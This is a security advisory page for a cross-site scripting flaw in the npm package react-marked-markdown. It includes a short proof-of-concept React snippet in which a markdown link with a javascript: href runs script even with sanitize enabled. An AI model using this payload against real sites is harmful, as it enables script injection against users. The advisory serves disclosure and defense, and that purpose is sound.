Ecosyste.ms: Advisories

Security Advisories: MDE2OlNlY3VyaXR5QWR2aXNvcnlHSFNBLW03cW0tcjJyNS1mNzdx

Cross-Site Scripting in react-marked-markdown

All versions of react-marked-markdown are vulnerable to cross-site scripting (XSS) via href attributes. This is exploitable if user is provided to react-marked-markdown

Proof of concept:

import React from 'react'
import ReactDOM from 'react-dom'
import { MarkdownPreview } from 'react-marked-markdown'

ReactDOM.render(
<MarkdownPreview
markedOptions={{ sanitize: true }}
value={'[XSS](javascript: alert`1`)'}
/>,
document.getElementById('root')
)

Recommendation

No fix is currently available for this vulnerability. It is our recommendation to not install or use this module at this time if you allow user input into href values.

Permalink: https://github.com/advisories/GHSA-m7qm-r2r5-f77q
JSON: https://advisories.ecosyste.ms/api/v1/advisories/MDE2OlNlY3VyaXR5QWR2aXNvcnlHSFNBLW03cW0tcjJyNS1mNzdx
Source: GitHub Advisory Database
Origin: Unspecified
Severity: High
Classification: General
Published: over 4 years ago
Updated: about 2 years ago

Identifiers: GHSA-m7qm-r2r5-f77q
References:

• https://github.com/Vincent-P/react-marked-markdown/issues/61
• https://hackerone.com/reports/344069
• https://www.npmjs.com/advisories/668
• https://github.com/advisories/GHSA-m7qm-r2r5-f77q

Repository: https://github.com/Vincent-P/react-marked-markdown
Blast Radius: 0.0

Affected Packages